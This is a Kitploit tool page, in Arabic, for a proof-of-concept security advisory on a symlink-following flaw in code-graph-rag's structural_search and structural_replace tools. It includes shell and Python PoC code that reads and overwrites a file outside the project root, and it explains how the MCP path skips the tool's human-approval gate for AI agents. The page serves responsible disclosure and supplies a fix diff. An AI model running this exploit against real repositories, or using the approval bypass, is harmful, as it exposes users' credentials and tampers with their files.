Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
code-graph-rag-PoC — PoC — تتبع الروابط الرمزية لقراءة/كتابة ملفات عشوائية خارج جذر المشروع في code-graph-rag (GHSA-85gg-2gfq-q95m، CVE-2026-87008، CVSS 7.1). | Kitploit
أدوات/GitHubGitHub/squeeze440/code-graph-rag-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالأوراق والأبحاثالتعلم والتعليم
GitHubsqueeze440/code-graph-rag-poc

code-graph-rag-PoC

PoC — تتبع الروابط الرمزية لقراءة/كتابة ملفات عشوائية خارج جذر المشروع في code-graph-rag (GHSA-85gg-2gfq-q95m، CVE-2026-87008، CVSS 7.1).

عرض المستودع
منذ 7 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

code-graph-rag: تنبيه أمني

حالة CVE: مطلوب، بانتظار التعيين. تم نشر هذا الاكتشاف باسم GHSA-85gg-2gfq-q95m. عند تعيين CVE، سيُعاد تسمية هذا المستودع إلى CVE-YYYY-NNNNN-code-graph-rag-PoC وسيُستبدل هذا الشعار برابط CVE.

الباحثDostxodjayev Abdullox (@squeeze440)
التنبيهGHSA-85gg-2gfq-q95m
CVSS 3.17.1 (مرتفع)
الضعفCWE-59, CWE-22

الملخص

يمكن لمهاجم بعيد/محلي قادر على إدراج رابط رمزي (symbolic link) داخل مستودع شيفرة مصدرية يحلله code-graph-rag أن يتسبب في قيام أداتي structural_search وstructural_replace (المدعومتين بـ AstGrepService، والمكشوفتين كأدوات MCP وكأدوات ذكاء اصطناعي وكيلية) بقراءة — وعبر structural_replace مع dry_run=False — الكتابة فوق ملفات عشوائية خارج جذر المشروع المُهيأ، لأن فحص احتواء المسار في الأداة (should_skip_path/_classify_file) يُنفَّذ معجمياً على المسار غير المُحلَّل ولا يتحقق أبداً من Path.is_symlink() أو يستدعي .resolve()، على عكس مُزخرِف validate_project_path الخاص بالمشروع نفسه (الصحيح) المستخدم في مواضع أخرى.

المنتج

vitali87/code-graph-rag (PyPI: code-graph-rag، CLI: cgr)

الإصدار المُختبَر

الالتزام 90a3ed3cbdc7d3bb8036985b851cc7c9a3ba9c57 (إصدار pyproject 0.0.550) — الفرع main الحالي وقت الاختبار. تم التأكد من أن هذا الالتزام يحتوي بالفعل على إصلاح التنبيه السابق (GHSA-vvr2-h2jp-838m: اجتياز المسار في read_file المُصفَّح) وبوابة مصادقة bearer الخاصة بـ HTTP-MCP الأحدث (_validate_http_exposure في codebase_rag/mcp/server.py)، لذا فهذه مشكلة منفصلة لا تزال مفتوحة فوق تلك الإصلاحات.

CVSS v3.1 المُقدَّر

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N — 7.0 (مرتفع)

المقاييس غير البديهية:

  • AV:L — الثغرة قابلة للاستغلال بحتة عبر الاستخدام الأساسي المحلي/CLI/stdio-MCP للأداة (تحليل مستودع يحتوي على رابط رمزي مزروع)؛ وهي لا تعتمد على نقل HTTP MCP الاختياري المُقيَّد الآن برمز bearer، لذا يُحتسب المتجه الأساسي على السطح المحلي الموجود دائماً بدلاً من افتراض نشر بعيد.
  • UI:R — يوفّر المهاجم المستودع الخبيث (الرابط الرمزي)، لكن يجب على طرف منفصل (مستخدم، أو وكيل ذكاء اصطناعي يعمل نيابة عنه) تشغيل structural_search/structural_replace فعلياً على ذلك المشروع لكي تحدث القراءة/الكتابة.
  • A:N — تم إثبات الكتابة فوق محتوى ملف بشكل عشوائي؛ لم تُثبَت أي سلسلة تعطّل/DoS للنظام، لذا يُحتسب التوافر بشكل متحفظ كـ None بدلاً من افتراضه.

التفاصيل

يدعم AstGrepService (codebase_rag/tools/ast_grep_service.py) كلاً من أداتي structural_search وstructural_replace الخاصة بـ MCP/الوكيل. وهو يُعدِّد الملفات المرشحة باستخدام os.walk() ويمرّر كل مسار فقط عبر should_skip_path():

  • codebase_rag/tools/ast_grep_service.py:84-109 (_iter_source_files) — يجول في self.project_root باستخدام os.walk()؛ كل مدخل غير دليل يُرجعه os.walk (بما في ذلك رابط رمزي يشير إلى أي مكان على القرص) يُعامَل كملف داخل النطاق.
  • codebase_rag/tools/ast_grep_service.py:61-82 (_classify_file) — فحص الاحتواء الوحيد هو should_skip_path(...) متبوعاً بـ abs_path.relative_to(self.project_root) (السطر 82)؛ لا يُحلَّل abs_path أبداً، لذا هذا الفحص معجمي/نصي بحت.
  • codebase_rag/utils/path_utils.py:80-109 (should_skip_path) وcodebase_rag/utils/path_utils.py:35-37 (cached_relative_path) — يحسب rel_path = file_path.relative_to(repo_path) دون استدعاء .resolve() أو Path.is_symlink() أبداً. لا شيء في هذه الدالة يعامل الرابط الرمزي بشكل مختلف عن ملف حقيقي.
  • مصبّ القراءة: codebase_rag/tools/ast_grep_service.py:143-144 (search) — source = self._read(abs_path) يستدعي path.read_text()، الذي يتبعه Python عبر الرابط الرمزي إلى هدفه الحقيقي، أينما كان ذلك الهدف.
  • مصبّ الكتابة: codebase_rag/tools/ast_grep_service.py:187-208 (replace)، وتحديداً السطر 208 — abs_path.write_text(new_source, ...) عندما يكون dry_run=False، متبعاً الرابط الرمزي مرة أخرى وكاتباً فوق محتوى الملف الهدف الحقيقي.

هذا يتعارض مع كيفية تعامل بقية قاعدة الشيفرة مع نفس فئة المخاطر بالضبط. أدوات قراءة/كتابة/تحرير الملفات (file_reader.py، file_writer.py، file_editor.py) كلها محمية بـ validate_project_path (codebase_rag/decorators.py:73-75):

root@kitploit:~
full_path = (self.project_root / file_path_str).resolve()
project_root = self.project_root.resolve()
full_path.relative_to(project_root)

.resolve() يتبع الروابط الرمزية قبل تنفيذ فحص الاحتواء، لذا ترفض تلك الأدوات بشكل صحيح أي هدف خارج الجذر. وتوثّق absolute_path_within_project_root() الخاصة بـ path_utils.py (codebase_rag/utils/path_utils.py:156-176) نفس المبدأ صراحةً في نصها التوثيقي: "استدعاءات resolve() حاملة للحمل: يُفحص الاحتواء معجمياً، لذا فإن مقطع .. غير المُحلَّل أو رابط رمزي سيهرب من الجذر." — لكن should_skip_path()/AstGrepService، المستخدمَين بواسطة structural_search/structural_replace، لا يطبّقان ذلك النمط أبداً.

قابلية الوصول / تعرّض الأداتين:

  • structural_search (codebase_rag/tools/structural_search.py:24-46) لا يحمل أي علامة requires_approval على الإطلاق — يمكن لنموذج عميل MCP استدعاؤه بشكل مستقل دون أي تأكيد بشري.
  • structural_replace (codebase_rag/tools/structural_editor.py:52-57) مُعلَّم بـ requires_approval=True، لكن تلك العلامة لا يُفرضها إلا حلقة الوكيل الخاصة بـ pydantic-ai. مسار خادم MCP يتجاوزها تماماً: MCPToolsRegistry.structural_replace (codebase_rag/mcp/tools.py:586-596) يستدعي self._structural_editor_tool.function(...) مباشرةً، وأداة MCP مسجَّلة دون أي مفهوم للموافقة في codebase_rag/mcp/tools.py:369-388 (ToolMetadata الخاصة بـ MCPToolName.STRUCTURAL_REPLACE) — أي عميل MCP قادر على استدعاء الأدوات يمكنه استدعاء structural_replace مع dry_run=False في ضربة واحدة.

إثبات المفهوم

تم التأكد ديناميكياً مقابل الحزمة المثبَّتة (تم تزييف mgclient/pymgclient تماماً كما في PoC التنبيه السابق، لأن عميل Memgraph الأصلي غير مطلوب لهذا المسار من الشيفرة).

root@kitploit:~
mkdir -p /tmp/poc_symlink/safe-project-root
cat > /tmp/poc_symlink/outside-secret.py << 'EOF'
API_TOKEN = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"
def get_token():
    return API_TOKEN
EOF
ln -s /tmp/poc_symlink/outside-secret.py /tmp/poc_symlink/safe-project-root/linked_module.py
root@kitploit:~
# poc.py
import sys
from pathlib import Path
from unittest.mock import MagicMock
sys.modules["mgclient"] = MagicMock()
sys.modules["pymgclient"] = MagicMock()
from codebase_rag.tools.ast_grep_service import AstGrepService

SAFE_ROOT = "/tmp/poc_symlink/safe-project-root"
svc = AstGrepService(project_root=SAFE_ROOT)

matches = svc.search(pattern="API_TOKEN", language="python")
# -> match in reported file='linked_module.py' text='API_TOKEN'  (read escape)

changes = svc.replace(pattern="API_TOKEN", rewrite="PWNED_BY_STRUCTURAL_REPLACE",
                       language="python", dry_run=False)
print(Path("/tmp/poc_symlink/outside-secret.py").read_text())

مخرجات التشغيل الفعلي (/tmp/poc_venv، الحزمة مثبَّتة عبر pip install --no-deps -e . من الالتزام المُختبَر):

root@kitploit:~
[*] Calling AstGrepService.search('API_TOKEN', language='python') ...
    match in reported file='linked_module.py' text='API_TOKEN'
    match in reported file='linked_module.py' text='API_TOKEN'
[+] READ ESCAPE CONFIRMED: content of the out-of-root file was returned by
    structural_search(), attributed to a path 'inside' the project root.

[*] Calling AstGrepService.replace(pattern='API_TOKEN',
    rewrite='PWNED_BY_STRUCTURAL_REPLACE', dry_run=False) ...
    wrote change to reported file='linked_module.py' matches=2

[*] Outside file content AFTER structural_replace:
------------------------------------------------------------
# Simulated sensitive file OUTSIDE the analyzed project root
PWNED_BY_STRUCTURAL_REPLACE = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"

def get_token():
    return PWNED_BY_STRUCTURAL_REPLACE
------------------------------------------------------------
[+] WRITE ESCAPE CONFIRMED: a file OUTSIDE the configured project_root
    (/tmp/poc_symlink/safe-project-root) was modified by structural_replace
    via a symlink placed inside the root.

لا لقطات شاشة — هذا اكتشاف على مستوى المكتبة/CLI بحت دون أي مكوّن متصفح/GUI.

التأثير

أي مشغّل يوجّه cgr (CLI، أو وضع ask_agent الوكيلي، أو أدوات MCP structural_search/structural_replace) نحو مستودع لم يدقّق فيه بالكامل — وهي حالة الاستخدام بالضبط التي بُنيت هذه الأداة من أجلها ("استعلام وفهم وتحرير قواعد شيفرة متعددة اللغات") — يمكن أن يُستخدَم الرابط الرمزي المزروع في ذلك المستودع من أجل:

  • كشف محتويات أي ملف قابل للقراءة من قِبَل عملية cgr (بيانات اعتماد، مفاتيح SSH، ملفات .env، شيفرة مشروع مجاور)، عبر structural_search، دون أي بوابة موافقة على الإطلاق.
  • الكتابة فوق محتويات أي ملف قابل للكتابة من قِبَل عملية cgr، عبر structural_replace(dry_run=False)، متجاوزاً بوابة الموافقة الخاصة بالأداة عند استدعائها عبر بروتوكول MCP.

هذه هي نفس فئة الثغرة "المحتوى الخبيث في قاعدة الشيفرة المُحلَّلة يهرب من project_root" الخاصة بـ GHSA-vvr2-h2jp-838m، لكن بسبب جذري مختلف (غياب تحليل الرابط الرمزي في AstGrepService/should_skip_path، CWE-59) ومصبّ مختلف وأكثر خطورة (كتابة عشوائية، وليس قراءة فقط) في مكوّن مختلف (codebase_rag/tools/ast_grep_service.py + codebase_rag/utils/path_utils.py، وليس read_file المُصفَّح في codebase_rag/mcp/tools.py). وهي لا تتقاطع مع نطاقات الأسطر الثغرة أو الإصلاح في التنبيه السابق.

نقاط الضعف

  • CWE-59: تحليل الرابط غير الصحيح قبل الوصول إلى الملف ('Link Following') — السبب الجذري الأساسي.
  • CWE-22: التقييد غير الصحيح لاسم المسار إلى دليل مقيَّد ('Path Traversal') — الهروب الناتج من جذر المشروع.

الإصلاح

طبّق نفس نمط التحليل-ثم-الاحتواء المستخدم بالفعل في validate_project_path (codebase_rag/decorators.py:73-75) وabsolute_path_within_project_root (codebase_rag/utils/path_utils.py:156-176) على should_skip_path. ارفض أي مسار يهرب موقعه المُحلَّل (بعد اتباع الرابط الرمزي) من جذر المشروع المُحلَّل، بدلاً من فحص سلسلة المسار غير المُحلَّلة فقط:

root@kitploit:~
--- a/codebase_rag/utils/path_utils.py
+++ b/codebase_rag/utils/path_utils.py
@@ def should_skip_path(
     _is_file = path.is_file() if is_file is None else is_file
     if _is_file and path.suffix in cs.IGNORE_SUFFIXES:
         return True
+    # Reject symlinks (or any path) that resolve outside the project root,
+    # mirroring validate_project_path's decorator (decorators.py:73-75) and
+    # absolute_path_within_project_root (this module, below).
+    try:
+        path.resolve().relative_to(repo_path.resolve())
+    except ValueError:
+        return True
     rel_path = cached_relative_path(path, repo_path)

بشكل ملموس: هذا التغيير الواحد في should_skip_path يُصلح كلاً من _classify_file (البحث) وتصفية os.walk في _iter_source_files (الاستبدال)، لأن كليهما يمرّ عبره. وكدفاع في العمق، يمكن لـ _iter_source_files إضافةً إلى ذلك تخطي المدخلات الرمزية للدلائل مباشرةً (entry.is_symlink()) أثناء os.walk، لأن أداة تحليل شيفرة مدفوعة بالذكاء الاصطناعي لا ينبغي أن تحتاج أبداً إلى التجول خارج الجذر المُفهرَس في المقام الأول.

الفضل

Dostxodjayev Abdullox (GitHub: squeeze440)

قناة الإبلاغ

الإبلاغ الخاص عن الثغرات (PVR) مؤكَّد أنه مُفعَّل على vitali87/code-graph-rag؛ هذا التقرير مُوجَّه للتقديم عبر تلك القناة (GitHub Security Advisories)، بما يتوافق مع التنبيه المنشور الموجود في المستودع (GHSA-vvr2-h2jp-838m).

تنزيل الأداة